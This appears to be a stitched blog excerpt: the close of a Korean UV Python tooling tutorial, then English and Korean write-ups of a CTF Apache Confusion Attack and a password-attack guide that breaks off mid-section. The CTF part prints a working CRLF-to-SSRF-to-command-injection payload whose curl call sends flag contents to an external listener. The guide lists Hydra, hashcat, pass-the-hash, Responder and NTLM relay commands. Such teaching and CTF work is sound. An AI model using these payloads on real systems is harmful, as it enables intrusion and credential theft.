UV는 인라인 스크립트 메타데이터 표준을 지원합니다. 덕분에 스크립트 파일 하나 안에 파이썬 버전과 의존성을 함께 적어 둘 수 있죠.

# /// script
# requires-python = ">=3.11"
# dependencies = [
#   "requests<3",
#   "rich",
# ]
# ///

import requests
from rich.pretty import pprint

...

이 헤더를 갖춘 스크립트를 아예 초기화 단계에서 만들 수도 있습니다.

uv init --script example.py --python 3.12

결과:

# /// script
# requires-python = ">=3.12"
# dependencies = []
# ///

그리고 여기에 의존성도 더할 수 있죠.

uv add --script example.py 'requests<3' 'rich'

결과:

# /// script
# dependencies = [
#   "requests<3",
#   "rich",
# ]
# ///

import requests
from rich.pretty import pprint

resp = requests.get("https://peps.python.org/api/peps.json")
data = resp.json()

스크립트 의존성 잠금

특정 스크립트의 의존성만 콕 집어 잠글 수도 있습니다.

$ uv lock --script example.py
Resolved in 5ms

그러면 example.py.lock 파일이 만들어집니다.

`uvx`로 명령줄 도구 실행

UV는 영구 설치 없이도 파이썬 기반 명령줄 도구를 실행하는 편리한 길을 열어 줍니다.

`uvx`로 도구 사용

pipx run과 비슷한데, 훨씬 빠릅니다.

uvx ruff

uvx pycowsay hello from uv

명령 이름과 패키지 이름이 다를 때는 패키지를 직접 지정하면 됩니다.

uvx --from httpie http

버전 제약:

uvx ruff@0.3.0 check
uvx ruff@latest check
uvx --from 'ruff==0.3.0' ruff check
uvx --from 'ruff>0.2.0,<0.3.0' ruff check

Extras(선택적 의존성 그룹):

uvx --from 'mypy[faster-cache,reports]' mypy --xml-report mypy_report
uvx --from 'mypy[faster-cache,reports]==1.13.0' mypy --xml-report mypy_report

GitHub 저장소:

# pull from git
uvx --from git+https://github.com/httpie/cli httpie

# specific named branch
uvx --from git+https://github.com/httpie/cli@master httpie

# specific tag
uvx --from git+https://github.com/httpie/cli@3.2.4 httpie

# specific commit
uvx --from git+https://github.com/httpie/cli@2843b87 httpie

추가 의존성:

uvx --with mkdocs-material mkdocs --help

`--from`과 `--with`

옵션	목적
`--from`	특정 패키지와 그 extras를 기반으로 실행 (`mypy[faster]`)
`--with`	메인 도구와 함께 추가 의존성을 설치

도구 영구 설치

자주 쓰는 도구라면 아예 영구적으로 설치해 둘 수도 있습니다.

uv tool install ruff
ruff --version

단, 이건 실행 파일만 깔아 줄 뿐 import 경로까지 잡아 주지는 않습니다.

python -c "import ruff"  # This will fail

더 많은 설치 예시:

uv tool install httpie
uv tool install 'httpie>0.1.0'
uv tool install git+https://github.com/httpie/cli
uv tool install mkdocs --with mkdocs-material

도구 업그레이드

uv tool upgrade ruff
uv tool install ruff>=0.4
uv tool upgrade --all

파이썬 버전 지정

uvx --python 3.10 ruff
uv tool install --python 3.10 ruff
uv tool upgrade --python 3.10 ruff

실전 예시: Angr 관리

Angr 바이너리 분석 프레임워크를 UV로 관리해 보겠습니다.

uv init angr_venv
cd angr_venv
uv add angr

그러면 이런 디렉터리 구조가 만들어집니다.

$ tree . -a -L 1
.
├── .git
├── .gitignore
├── main.py
├── pyproject.toml
├── .python-version
├── README.md
├── uv.lock
└── .venv

3 directories, 6 files

pyproject.toml을 손봐서 파이썬 3.8 이상을 요구하도록 바꿔 줍니다.

[project]
name = "angr-venv"
version = "0.1.0"
description = "Add your description here"
readme = "README.md"
- requires-python = ">=3.13"
+ requires-python = ">=3.8"
dependencies = [
    "angr>=9.2.147",
]

그다음 잠그고 환경을 활성화합니다.

uv lock
source .venv/bin/activate

혹시 문제가 생기면 동기화 한 번 해 주면 됩니다.

uv sync

requirements.txt 연동

UV는 requirements.txt 파일과도 아주 잘 어울립니다.

requirements.txt에서 설치:

uv pip sync requirements.txt

requirements.txt로 내보내기:

uv pip freeze > requirements.txt

pyproject.toml에서 변환:

uv export --format=requirements.txt > requirements.txt

requirements.txt의 내용을 pyproject.toml에 추가:

uv add -r requirements.txt

의존성 시각화

UV는 패키지 의존성을 보기 좋게 트리로 그려 주기도 합니다.

$ uv tree
Resolved 25 packages in 4ms
kcu-helper v0.1.0
├── bs4 v0.0.2
│   └── beautifulsoup4 v4.13.3
│       ├── soupsieve v2.6
│       └── typing-extensions v4.13.0
├── openai v1.69.0
│   ├── anyio v4.9.0
│   │   ├── idna v3.10
│   │   └── sniffio v1.3.1
│   ├── distro v1.9.0
│   ├── httpx v0.28.1
│   │   ├── anyio v4.9.0 (*)
│   │   ├── certifi v2025.1.31
│   │   ├── httpcore v1.0.7
│   │   │   ├── certifi v2025.1.31
│   │   │   └── h11 v0.14.0
│   │   └── idna v3.10
│   ├── jiter v0.9.0
│   ├── pydantic v2.11.1
│   │   ├── annotated-types v0.7.0
│   │   ├── pydantic-core v2.33.0
│   │   │   └── typing-extensions v4.13.0
│   │   ├── typing-extensions v4.13.0
│   │   └── typing-inspection v0.4.0
│   │       └── typing-extensions v4.13.0
│   ├── sniffio v1.3.1
│   ├── tqdm v4.67.1
│   └── typing-extensions v4.13.0
├── python-dotenv v1.1.0
└── requests v2.32.3
    ├── certifi v2025.1.31
    ├── charset-normalizer v3.4.1
    ├── idna v3.10
    └── urllib3 v2.3.0
(*) Package tree already displayed

마치며

UV는 파이썬 패키지 관리에서 확실히 한 걸음 앞으로 나아간 도구입니다. 극적인 속도 향상은 물론이고, 전반적인 경험도 훨씬 매끄럽죠. Rust 기반이라는 토대 덕분에, 특히 규모가 큰 프로젝트에서 흔한 개발 작업들이 눈에 띄게 빨라집니다.

새 프로젝트를 세팅하든, 의존성을 관리하든, 특정 패키지가 필요한 스크립트를 실행하든, UV는 기존 파이썬 워크플로, 표준과의 호환성을 지키면서도 전통적인 도구들보다 더 효율적인 대안이 되어 줍니다.

프로젝트가 지금도 쑥쑥 자라고 있는 만큼, UV가 머지않아 파이썬 패키지 관리의 새로운 표준으로 자리 잡을 수도 있겠다 싶어요. 눈여겨볼 만합니다.

Cyber Apocalypse CTF 2025: Apache Confusion Attack

Sat, 08 Mar 2025 00:00:00 +0900

Overview

In this post, let’s get into a fascinating web challenge from the Cyber Apocalypse CTF 2025. This one involved exploiting a vulnerability in Apache configuration related to content type handling, often referred to as an Apache Confusion Attack.

Initial Reconnaissance

First, we took a look at the apache2.conf file and noticed something interesting:

ServerName CyberAttack

AddType application/x-httpd-php .php

<Location "/cgi-bin/attack-ip">
    Order deny,allow
    Deny from all
    Allow from 127.0.0.1
    Allow from ::1
</Location>

It seems there’s a specific endpoint, /cgi-bin/attack-ip, that’s only accessible from localhost (127.0.0.1 or ::1). This hints at a potential Server-Side Request Forgery (SSRF) vulnerability, as we need to make the server itself request this internal endpoint.

We also found two CGI scripts: /cgi-bin/attack-domain and /cgi-bin/attack-ip. Comparing the code, /cgi-bin/attack-domain seemed to have less strict filtering, making it a more likely entry point for our exploit chain.

/cgi-bin/attack-domain (Python):

#!/usr/bin/env python3

import cgi
import os
import re

def is_domain(target):
    # Checks if the target looks like a domain name
    return re.match(r'^(?!-)[a-zA-Z0-9-]{1,63}(?<!-)\\.[a-zA-Z]{2,63}$', target)

form = cgi.FieldStorage()
name = form.getvalue('name')
target = form.getvalue('target')

if not name or not target:
    print('Location: ../?error=Hey, you need to provide a name and a target!')

elif is_domain(target):
    count = 1 # Increase this for an actual attack
    os.popen(f'ping -c {count} {target}') # Pings the target domain
    print(f'Location: ../?result=Succesfully attacked {target}!')
else:
    # If target is not a domain, shows an error
    print(f'Location: ../?error=Hey {name}, watch it!')

print('Content-Type: text/html')
print()

/cgi-bin/attack-ip (Python):

#!/usr/bin/env python3

import cgi
import os
from ipaddress import ip_address # Uses ipaddress library for validation

form = cgi.FieldStorage()
name = form.getvalue('name')
target = form.getvalue('target')

if not name or not target:
    print('Location: ../?error=Hey, you need to provide a name and a target!')
try:
    count = 1 # Increase this for an actual attack
    # Validates if target is an IP address before pinging
    # Crucially, this uses ip_address() which is strict
    os.popen(f'ping -c {count} {ip_address(target)}')
    print(f'Location: ../?result=Succesfully attacked {target}!')
except:
    # If target is not a valid IP, shows an error
    print(f'Location: ../?error=Hey {name}, watch it!')

print('Content-Type: text/html')
print()

The attack-ip script strictly validates the target as an IP address using ipaddress.ip_address(), while attack-domain uses a looser regex check (is_domain()). This difference is the key to the vulnerability.

We initially thought about bypassing the IP check using X-Forwarded-For headers or similar tricks, but the Apache <Location> directive operates at the connection level, making these HTTP header tricks ineffective for bypassing the localhost restriction.

Discovering the Apache Confusion Vulnerability

Further research, including insights from Orange Tsai’s work on Confusion Attacks, pointed towards a specific vulnerability related to Apache’s AddType directive versus AddHandler.

AddType application/x-httpd-php .php
# If AddHandler were used instead, this might be prevented:
# AddHandler application/x-httpd-php .php

When AddType is used, Apache might determine the request handler based on the Content-Type after processing headers. This opens the door for manipulation if we can inject headers, for instance, through a CRLF (Carriage Return Line Feed) injection vulnerability in the CGI script’s response.

If a script generates headers based on user input (like a Location header) and doesn’t sanitize \r\n characters, we could inject a fake Content-Type header.

Imagine a vulnerable script:

print "Location: $user_input\\n"; # Potential CRLF injection point
print "Content-Type: text/html\\n\\n";

Sending input like http://example.com%0d%0aContent-Type:%20proxy:http://internal-service could lead to response headers like:

Location: http://example.com
Content-Type: proxy:http://internal-service  <-- Injected!
Content-Type: text/html                     <-- Original

Apache might then mistakenly use the injected Content-Type (proxy:http://internal-service) and invoke mod_proxy instead of the intended PHP handler (application/x-httpd-php).

Crafting the Exploit

Our target script, /cgi-bin/attack-domain, takes name and target parameters. It’s vulnerable because cgi.FieldStorage() in Python can process parameters containing CRLF characters, which then get reflected in the Location header if the is_domain() check fails.

The plan:

Trigger CRLF Injection & Content-Type Confusion: Send a POST request to /cgi-bin/attack-domain.
- Inject a Content-Type: proxy:http://127.0.0.1/cgi-bin/attack-ip?... header via the name parameter.
- Provide a target value that fails the is_domain() check (e.g., notadomain) to ensure the error Location header (containing our injected name) is generated.
Bypass Access Control (SSRF): The injected Content-Type: proxy:... header tricks Apache into using mod_proxy. Apache then internally forwards the request (including parameters specified in the proxy URL) to http://127.0.0.1/cgi-bin/attack-ip. This bypasses the <Location> restriction that prevented direct access.
Command Injection: The parameters included in the injected proxy: URL (e.g., ?name=pwned&target=...) are passed to the /cgi-bin/attack-ip script. We can inject OS commands into the target parameter of this internal request. Since attack-ip uses ip_address(), we need a payload that is recognized as a valid IP address but also contains our command. Payloads like 0::1;command or 0::1||command work beautifully because 0::1 is the IPv6 localhost address, and the ; or || allows subsequent command execution.

Here’s how the conceptual exploit flow looks:

User -> POST /cgi-bin/attack-domain (name=INJECTED_HEADER&target=notadomain)
  -> attack-domain script fails is_domain(), generates Location header with injected Content-Type
  -> Apache sees "Content-Type: proxy:http://127.0.0.1/cgi-bin/attack-ip?name=pwned&target=0::1;COMMAND"
  -> Apache uses mod_proxy to send internal request: GET /cgi-bin/attack-ip?name=pwned&target=0::1;COMMAND
  -> attack-ip script receives target="0::1;COMMAND"
  -> ip_address("0::1;COMMAND") -> Fails (or extracts "0::1" depending on library leniency, but the command still gets passed to os.popen)
  -> os.popen("ping -c 1 0::1;COMMAND") -> Command Injection!

(Note: The exact behavior of ip_address() with appended commands might vary, but the core idea is that the command string reaches os.popen)

Challenges and Payload Construction

Putting this into practice involved overcoming a few hurdles:

CRLF Encoding: Correctly encoding \r\n as %0D%0A within the application/x-www-form-urlencoded POST body was essential.
Command Injection Payload: The payload needed to be valid for ip_address() and execute our command. 0::1;... worked well. We also needed to handle shell metacharacters (spaces, slashes) often using techniques like ${IFS} or command substitution ($(pwd|cut -c 1) to get /). Data exfiltration typically required curl or similar tools pointing to an external listener.
Apache/CGI Nuances: Understanding precisely how cgi.FieldStorage, Apache header parsing, and mod_proxy interact with the injected headers was key.

Final Payload Example

A working payload sent via POST to /cgi-bin/attack-domain might look like this (URL encoded):

target=notadomain&name=test%0d%0aContent-Type:proxy:http://127.0.0.1/cgi-bin/attack-ip?name=pwner%26target=0::1%3Bcurl%20https://YOUR_LISTENER_URL%3Ff=$(cat%20/flag*|base64)%0d%0a%0d%0a

Breakdown:

target=notadomain: Ensures the initial is_domain() check fails.
name=test%0d%0a...: Initiates the CRLF injection.
Content-Type:proxy:http://127.0.0.1/cgi-bin/attack-ip?...: The injected header causing the confusion and SSRF via mod_proxy.
?name=pwner%26target=...: Parameters for the internal request to attack-ip.
0::1%3Bcurl%20...: The command injection payload (0::1;curl https://YOUR_LISTENER_URL?f=$(cat /flag*|base64) URL-encoded). Remember to replace YOUR_LISTENER_URL.
%0d%0a%0d%0a: Necessary CRLF termination.

This complex chain allowed bypassing the access controls and achieving remote code execution by confusing Apache’s content handling mechanism. A truly fun challenge!

개요

이번 글에서는 Cyber Apocalypse CTF 2025의 꽤 흥미진진한 웹 문제를 하나 파헤쳐 보겠습니다. 콘텐츠 타입 처리와 관련된 Apache 설정의 허점을 파고드는 문제인데, 흔히 Apache Confusion Attack이라고 부르죠.

초기 정찰

먼저 apache2.conf 파일을 열어 봤더니, 눈길을 끄는 부분이 있었습니다.

ServerName CyberAttack

AddType application/x-httpd-php .php

<Location "/cgi-bin/attack-ip">
    Order deny,allow
    Deny from all
    Allow from 127.0.0.1
    Allow from ::1
</Location>

/cgi-bin/attack-ip라는 엔드포인트가 localhost(127.0.0.1 또는 ::1)에서만 접근 가능하게 막혀 있네요. 딱 봐도 서버 측 요청 위조(SSRF) 냄새가 납니다. 결국 서버 스스로가 이 내부 엔드포인트를 두드리게 만들어야 한다는 뜻이니까요.

CGI 스크립트도 두 개 찾았는데요. /cgi-bin/attack-domain과 /cgi-bin/attack-ip입니다. 두 코드를 나란히 놓고 비교해 보니 /cgi-bin/attack-domain 쪽 필터링이 더 헐거워서, 익스플로잇 체인의 진입점으로는 이쪽이 더 유력해 보였습니다.

/cgi-bin/attack-domain (Python):

#!/usr/bin/env python3

import cgi
import os
import re

def is_domain(target):
    # Checks if the target looks like a domain name
    return re.match(r'^(?!-)[a-zA-Z0-9-]{1,63}(?<!-)\\.[a-zA-Z]{2,63}$', target)

form = cgi.FieldStorage()
name = form.getvalue('name')
target = form.getvalue('target')

if not name or not target:
    print('Location: ../?error=Hey, you need to provide a name and a target!')

elif is_domain(target):
    count = 1 # Increase this for an actual attack
    os.popen(f'ping -c {count} {target}') # Pings the target domain
    print(f'Location: ../?result=Succesfully attacked {target}!')
else:
    # If target is not a domain, shows an error
    print(f'Location: ../?error=Hey {name}, watch it!')

print('Content-Type: text/html')
print()

/cgi-bin/attack-ip (Python):

#!/usr/bin/env python3

import cgi
import os
from ipaddress import ip_address # Uses ipaddress library for validation

form = cgi.FieldStorage()
name = form.getvalue('name')
target = form.getvalue('target')

if not name or not target:
    print('Location: ../?error=Hey, you need to provide a name and a target!')
try:
    count = 1 # Increase this for an actual attack
    # Validates if target is an IP address before pinging
    # Crucially, this uses ip_address() which is strict
    os.popen(f'ping -c {count} {ip_address(target)}')
    print(f'Location: ../?result=Succesfully attacked {target}!')
except:
    # If target is not a valid IP, shows an error
    print(f'Location: ../?error=Hey {name}, watch it!')

print('Content-Type: text/html')
print()

attack-ip 스크립트는 ipaddress.ip_address()로 target을 IP 주소로 빡빡하게 검증하는 반면, attack-domain은 훨씬 느슨한 정규식 검사(is_domain())를 씁니다. 바로 이 차이가 취약점의 열쇠였죠.

처음엔 X-Forwarded-For 헤더 같은 트릭으로 IP 검사를 우회해 볼까 했는데요. Apache의 <Location> 지시자는 연결(connection) 수준에서 동작하는 터라, 이런 HTTP 헤더 장난으로는 localhost 제한을 넘을 수 없었습니다.

Apache Confusion 취약점 발견

Orange Tsai의 Confusion Attacks 연구까지 뒤져 가며 더 파 본 결과, Apache의 AddType 지시자와 AddHandler의 차이에서 비롯되는 취약점에 다다르게 됐습니다.

AddType application/x-httpd-php .php
# If AddHandler were used instead, this might be prevented:
# AddHandler application/x-httpd-php .php

AddType을 쓰면 Apache가 헤더를 처리한 뒤에 Content-Type을 보고 요청 핸들러를 정할 수 있습니다. 그러니 만약 CGI 스크립트 응답의 CRLF(Carriage Return Line Feed) 인젝션 취약점으로 헤더를 끼워 넣을 수 있다면, 조작의 여지가 활짝 열리는 거죠.

스크립트가 사용자 입력을 그대로 헤더(예: Location 헤더)에 넣으면서 \r\n 문자를 정제하지 않는다면, 가짜 Content-Type 헤더를 주입할 수 있습니다.

취약한 스크립트를 하나 떠올려 볼게요.

print "Location: $user_input\\n"; # Potential CRLF injection point
print "Content-Type: text/html\\n\\n";

여기에 http://example.com%0d%0aContent-Type:%20proxy:http://internal-service 같은 입력을 넣으면, 응답 헤더가 이렇게 변할 수 있습니다.

Location: http://example.com
Content-Type: proxy:http://internal-service  <-- Injected!
Content-Type: text/html                     <-- Original

그러면 Apache는 주입된 Content-Type(proxy:http://internal-service)을 덥석 물어서, 원래 불려야 할 PHP 핸들러(application/x-httpd-php) 대신 mod_proxy를 호출해 버릴 수 있습니다.

익스플로잇 구성

대상 스크립트 /cgi-bin/attack-domain은 name과 target 파라미터를 받습니다. Python의 cgi.FieldStorage()가 CRLF 문자가 섞인 파라미터도 그대로 처리하고, is_domain() 검사가 실패하면 그 값이 Location 헤더에 고스란히 반영되기 때문에 취약하죠.

작전은 이렇습니다.

CRLF 인젝션 & Content-Type Confusion 유발: /cgi-bin/attack-domain에 POST 요청을 보낸다.
- name 파라미터를 통해 Content-Type: proxy:http://127.0.0.1/cgi-bin/attack-ip?... 헤더를 주입한다.
- is_domain() 검사에 실패하는 target 값(예: notadomain)을 제공해, (주입된 name을 담은) 오류 Location 헤더가 생성되도록 한다.
접근 제어 우회 (SSRF): 주입된 Content-Type: proxy:... 헤더가 Apache를 속여 mod_proxy를 쓰게 만든다. 그러면 Apache가 (proxy URL에 지정한 파라미터까지 얹어) 요청을 내부적으로 http://127.0.0.1/cgi-bin/attack-ip로 넘겨 준다. 이로써 직접 접근을 막던 <Location> 제한이 그냥 무력화된다.
명령 인젝션: 주입한 proxy: URL에 담긴 파라미터(예: ?name=pwned&target=...)가 /cgi-bin/attack-ip 스크립트로 전달된다. 이 내부 요청의 target 파라미터에 OS 명령을 심을 수 있다. attack-ip는 ip_address()를 쓰니, 유효한 IP 주소로 인식되면서도 우리 명령까지 품은 페이로드가 필요하다. 0::1;command나 0::1||command 같은 페이로드가 기가 막히게 잘 통하는데, 0::1이 IPv6 localhost 주소인 데다 ;나 ||가 뒤이은 명령 실행을 허용하기 때문이다.

전체 익스플로잇 흐름을 개념적으로 그려 보면 이렇습니다.

User -> POST /cgi-bin/attack-domain (name=INJECTED_HEADER&target=notadomain)
  -> attack-domain script fails is_domain(), generates Location header with injected Content-Type
  -> Apache sees "Content-Type: proxy:http://127.0.0.1/cgi-bin/attack-ip?name=pwned&target=0::1;COMMAND"
  -> Apache uses mod_proxy to send internal request: GET /cgi-bin/attack-ip?name=pwned&target=0::1;COMMAND
  -> attack-ip script receives target="0::1;COMMAND"
  -> ip_address("0::1;COMMAND") -> Fails (or extracts "0::1" depending on library leniency, but the command still gets passed to os.popen)
  -> os.popen("ping -c 1 0::1;COMMAND") -> Command Injection!

(참고: 명령이 덧붙었을 때 ip_address()의 정확한 동작은 상황마다 다를 수 있지만, 중요한 건 명령 문자열이 결국 os.popen까지 도달한다는 점입니다.)

난관과 페이로드 구성

이걸 실제로 구현하려니 몇 가지 고비를 넘어야 했습니다.

CRLF 인코딩: application/x-www-form-urlencoded POST 본문 안에서 \r\n을 %0D%0A로 정확히 인코딩하는 게 필수였습니다.
명령 인젝션 페이로드: 페이로드는 ip_address()에 유효하면서 동시에 우리 명령을 실행해야 했습니다. 0::1;...이 딱 맞았죠. 여기에 셸 메타문자(공백, 슬래시)도 처리해야 했는데, 보통 ${IFS}나 명령 치환(/를 얻으려는 $(pwd|cut -c 1)) 같은 기법을 동원했습니다. 데이터를 빼내는 데는 대개 외부 리스너를 가리키는 curl 같은 도구가 필요했고요.
Apache/CGI의 미묘함: cgi.FieldStorage, Apache 헤더 파싱, mod_proxy가 주입된 헤더와 정확히 어떻게 맞물려 도는지 이해하는 게 관건이었습니다.

최종 페이로드 예시

/cgi-bin/attack-domain에 POST로 날리는 실제 동작 페이로드는 (URL 인코딩된 형태로) 대략 이렇게 생겼습니다.

target=notadomain&name=test%0d%0aContent-Type:proxy:http://127.0.0.1/cgi-bin/attack-ip?name=pwner%26target=0::1%3Bcurl%20https://YOUR_LISTENER_URL%3Ff=$(cat%20/flag*|base64)%0d%0a%0d%0a

분석:

target=notadomain: 초기 is_domain() 검사가 실패하도록 보장.
name=test%0d%0a...: CRLF 인젝션을 시작.
Content-Type:proxy:http://127.0.0.1/cgi-bin/attack-ip?...: confusion과 mod_proxy를 통한 SSRF를 유발하는 주입 헤더.
?name=pwner%26target=...: attack-ip로 가는 내부 요청의 파라미터.
0::1%3Bcurl%20...: 명령 인젝션 페이로드(0::1;curl https://YOUR_LISTENER_URL?f=$(cat /flag*|base64)의 URL 인코딩). YOUR_LISTENER_URL은 교체할 것.
%0d%0a%0d%0a: 필요한 CRLF 종료.

이 정교한 체인 덕분에 Apache의 콘텐츠 처리 메커니즘을 헷갈리게 만들어, 접근 제어를 우회하고 끝내 원격 코드 실행까지 따낼 수 있었습니다. 오랜만에 정말 재미있게 푼 문제였어요!

A Comprehensive Guide to Password Attacks

Wed, 20 Nov 2024 00:00:00 +0900

Overview

Password attacks remain one of the most effective ways to gain unauthorized access to systems. Understanding these techniques is important for security professionals to better protect systems and for ethical hackers during penetration testing. This article provides a comprehensive overview of various password attack methods, including network service login attacks, hash cracking, and advanced techniques like Pass-the-Hash and NTLM relaying.

Network services that require authentication are common targets for password attacks. Automated tools like Hydra can be used to perform brute force or dictionary attacks against various services.

Using Hydra for SSH Attacks

Hydra is a versatile tool for performing login attacks against various network services. Here’s an example of using Hydra against SSH:

hydra -l george -P /usr/share/wordlists/rockyou.txt -s 2222 ssh://192.168.201.201

This command attempts to log in as user “george” using passwords from the rockyou.txt wordlist against an SSH server running on port 2222.

Attacking Web Authentication

Hydra can also be used to attack web applications. For HTTP POST form authentication:

hydra -l user -P /usr/share/wordlists/rockyou.txt 192.168.201.201 http-post-form "/index.php:fm_usr=user&fm_pwd=^PASS^:Login failed. Invalid"

For HTTP Basic Authentication:

hydra -V -l admin -P /usr/share/wordlists/rockyou.txt 192.168.201.201 http-get /

Password Hashing and Cracking

When direct password attacks aren’t possible, attackers often target password hashes. Understanding how to generate, identify, and crack different types of hashes is essential.

Hash Generation

For SHA256:

echo -n "secret" | sha256sum

Hash Identification

Before attempting to crack a hash, it’s important to identify its type. Tools like hash-identifier can be used for this purpose.

KeePass Database Cracking

Password managers like KeePass store credentials in encrypted databases. If an attacker gains access to the .kdbx file, they might attempt to crack it:

Extract the hash:

keepass2john Database.kdbx > keepass.hash

Clean the hash:

sed 's/^Database://g' keepass.hash > clean.hash

Crack with Hashcat:

hashcat -m 13400 clean.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/rockyou-30000.rule

Windows Password Attacks

Windows systems store password hashes in the SAM (Security Account Manager) database. Various techniques can be used to extract and exploit these hashes.

NTLM Hash Cracking

NTLM (New Technology LAN Manager) is a suite of Microsoft security protocols that includes procedures for authentication, integrity, and confidentiality.

To crack an NTLM hash:

hashcat -m 1000 hash.txt /usr/share/wordlists/rockyou.txt

Pass-the-Hash (PtH)

Pass-the-Hash allows an attacker to authenticate to a remote server using the underlying NTLM hash of a user’s password without knowing the actual password.

Using SMBClient with NTLM hash:

smbclient \\\\192.168.199.212\\secrets -U Administrator --pw-nt-hash 7a38310ea6f0027ee955abed1762964b

For remote code execution, Impacket scripts can be used:

impacket-wmiexec -hashes 00000000000000000000000000000000:7a38310ea6f0027ee955abed1762964b Administrator@192.168.199.212

Net-NTLMv2 Attacks

When direct access to NTLM hashes isn’t possible, attackers may target Net-NTLMv2 authentication.

Capturing Net-NTLMv2 Hashes with Responder

Responder is a tool designed to poison responses to LLMNR, NBT-NS, and MDNS requests to capture authentication attempts.

sudo responder -I tun0

When a Windows system attempts to access a non-existent resource, Responder can capture the Net-NTLMv2 hash sent during the authentication attempt:

[SMB] NTLMv2-SSP Client   : 192.168.199.211
[SMB] NTLMv2-SSP Username : FILES01\paul
[SMB] NTLMv2-SSP Hash     : paul::FILES01:1059a4b067904e43:EBC54C678752C4EBA2C2288F99AB4D76:0101000000000000...

These hashes can then be cracked using Hashcat:

hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt

Relaying Net-NTLMv2 Hashes

Instead of cracking captured Net-NTLMv2 hashes, attackers can relay them to authenticate to other services. This is known as an SMB relay attack.

Using Impacket’s ntlmrelayx:

impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.199.212 -c "powershell -e <base64_encoded_payload>"

Defensive Measures

To protect against password attacks:

Implement strong password policies:
- Minimum length of 12+ characters
- Mix of uppercase, lowercase, numbers, and special characters
- Regular password rotation
Use multi-factor authentication (MFA) wherever possible
Limit login attempts and implement account lockout policies
Monitor and log authentication attempts for suspicious activity
Use modern authentication protocols like Kerberos instead of NTLM
Keep systems updated with the latest security patches
Disable LLMNR and NBT-NS when not required to prevent response spoofing
Network segmentation to limit lateral movement after compromise

Conclusion

Password attacks continue to be effective due to weak password practices and legacy authentication protocols. Security professionals should understand these attack vectors to better defend their systems. Always remember that these techniques should only be used for ethical hacking, penetration testing, and security research with proper authorization.

By implementing a comprehensive security strategy that addresses these vulnerabilities, organizations can significantly reduce the risk of successful password attacks and unauthorized access to their systems.

개요

화려한 취약점이 없어도, 비밀번호 공격은 여전히 시스템에 무단으로 들어가는 가장 효과적인 방법 중 하나입니다. 이 기법들을 이해해 두면 보안 담당자는 시스템을 더 단단히 지킬 수 있고, 윤리적 해커는 침투 테스트를 더 잘 해낼 수 있죠. 이 글에서는 네트워크 서비스 로그인 공격, 해시 크래킹, 그리고 Pass-the-Hash, NTLM 릴레이 같은 고급 기법까지 다양한 비밀번호 공격을 두루 살펴보겠습니다.

네트워크 서비스 로그인 공격

인증을 요구하는 네트워크 서비스는 비밀번호 공격의 단골 표적입니다. Hydra 같은 자동화 도구를 쓰면 여러 서비스에 무차별 대입(brute force)이나 사전(dictionary) 공격을 손쉽게 날릴 수 있죠.

Hydra를 이용한 SSH 공격

Hydra는 온갖 네트워크 서비스에 로그인 공격을 퍼붓는 만능 도구입니다. SSH에 쓰는 예시를 볼게요.

hydra -l george -P /usr/share/wordlists/rockyou.txt -s 2222 ssh://192.168.201.201

이 명령은 2222번 포트에서 도는 SSH 서버에, rockyou.txt 워드리스트의 비밀번호를 하나씩 넣어 가며 “george” 사용자 로그인을 시도합니다.

웹 인증 공격

Hydra는 웹 애플리케이션 공격에도 그대로 써먹을 수 있습니다. HTTP POST 폼 인증이라면 이렇게요.

hydra -l user -P /usr/share/wordlists/rockyou.txt 192.168.201.201 http-post-form "/index.php:fm_usr=user&fm_pwd=^PASS^:Login failed. Invalid"

HTTP Basic 인증이라면 이렇게 씁니다.

hydra -V -l admin -P /usr/share/wordlists/rockyou.txt 192.168.201.201 http-get /

비밀번호 해싱과 크래킹

로그인을 직접 두드리는 게 막혀 있을 때, 공격자는 흔히 비밀번호 해시로 눈을 돌립니다. 그래서 다양한 해시를 생성, 식별, 크래킹하는 법을 알아 두는 게 필수인데요.

해시 생성

SHA256의 경우:

echo -n "secret" | sha256sum

해시 식별

해시를 크래킹하기 전에 그 종류부터 알아내는 게 중요합니다. 이럴 때 hash-identifier 같은 도구가 요긴하죠.

KeePass 데이터베이스 크래킹

KeePass 같은 비밀번호 관리자는 자격 증명을 암호화된 데이터베이스에 넣어 둡니다. 그래서 공격자가 .kdbx 파일에 손을 대면 이걸 크래킹하려 들 수 있죠.

해시 추출:

keepass2john Database.kdbx > keepass.hash

해시 정리:

sed 's/^Database://g' keepass.hash > clean.hash

Hashcat으로 크래킹:

hashcat -m 13400 clean.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/rockyou-30000.rule

Windows 비밀번호 공격

Windows는 비밀번호 해시를 SAM(Security Account Manager) 데이터베이스에 저장합니다. 이 해시를 뽑아내고 악용하는 데는 여러 기법이 동원되는데요.

NTLM 해시 크래킹

NTLM(New Technology LAN Manager)은 인증, 무결성, 기밀성 절차를 아우르는 마이크로소프트 보안 프로토콜 묶음입니다.

NTLM 해시는 이렇게 크래킹합니다.

hashcat -m 1000 hash.txt /usr/share/wordlists/rockyou.txt

Pass-the-Hash (PtH)

Pass-the-Hash의 재미있는 점은, 실제 비밀번호를 몰라도 사용자 비밀번호의 NTLM 해시만 있으면 원격 서버에 인증할 수 있다는 겁니다.

NTLM 해시로 SMBClient를 쓰면,

smbclient \\\\192.168.199.212\\secrets -U Administrator --pw-nt-hash 7a38310ea6f0027ee955abed1762964b

원격 코드 실행에는 Impacket 스크립트가 제격이죠.

impacket-wmiexec -hashes 00000000000000000000000000000000:7a38310ea6f0027ee955abed1762964b Administrator@192.168.199.212

Net-NTLMv2 공격

NTLM 해시에 직접 손댈 수 없다면, 공격자는 Net-NTLMv2 인증으로 방향을 틉니다.

Responder로 Net-NTLMv2 해시 캡처

Responder는 LLMNR, NBT-NS, MDNS 요청에 대한 응답을 오염(poison)시켜 인증 시도를 낚아채도록 만들어진 도구입니다.

sudo responder -I tun0

Windows 시스템이 존재하지도 않는 리소스에 접근하려는 순간, Responder는 그 인증 시도 중에 오가는 Net-NTLMv2 해시를 낚아챕니다.

[SMB] NTLMv2-SSP Client   : 192.168.199.211
[SMB] NTLMv2-SSP Username : FILES01\paul
[SMB] NTLMv2-SSP Hash     : paul::FILES01:1059a4b067904e43:EBC54C678752C4EBA2C2288F99AB4D76:0101000000000000...

이렇게 확보한 해시는 다시 Hashcat으로 크래킹하면 됩니다.

hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt

Net-NTLMv2 해시 릴레이

